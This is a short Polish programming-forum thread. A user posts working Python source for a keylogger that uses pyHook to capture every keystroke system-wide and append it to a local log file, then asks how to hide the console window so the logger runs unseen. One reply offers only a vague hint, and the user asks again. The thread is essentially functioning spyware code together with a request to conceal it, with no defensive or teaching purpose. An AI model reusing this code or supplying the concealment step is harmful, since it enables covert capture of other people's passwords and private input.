Jak ukryć okno?

Tematy dotyczące typowo interpretowanych języków programowania.
Dibller
Posty: 2
Rejestracja: 26 lis 2017, 18:19

Jak ukryć okno?

Post autor: Dibller »

Witam
Stworzyłem prostego keyloggera, po skompilowaniu go przez py2exe wszystko działa jak należy ale pojawia się windowsowe okno z czarnym tłem zamknięcie go skutkuje zamknięciem keyloggera. Jak to okno ukryć by się wogóle nie pojawiało
Zamieszczam kod który użyłem

Kod: Zaznacz cały

import pythoncom,pyHook

def OnKeyboardEvent(e):
    global keylog
    keylog= chr(e.Ascii)
    with open('log.txt','a') as f:
        f.write(keylog)
        f.close()
    return True

if __name__=='__main__':
    h_m=pyHook.HookManager()
    h_m.KeyDown = OnKeyboardEvent
    h_m.HookKeyboard()
    pythoncom.PumpMessages()
przemek
Posty: 52
Rejestracja: 26 sty 2016, 23:28

Re: Jak ukryć okno?

Post autor: przemek »

Nie znam się na pythonie lecz co pamiętam to musisz tak jak w C++ dodać "coś" aby to działało w tle lub usunąć funkcje która tworzy okno
Technik ochrony środowiska
Dibller
Posty: 2
Rejestracja: 26 lis 2017, 18:19

Re: Jak ukryć okno?

Post autor: Dibller »

Gdym tylko wiedział co to jest to "coś". Ma ktoś jakieś pomysły
ODPOWIEDZ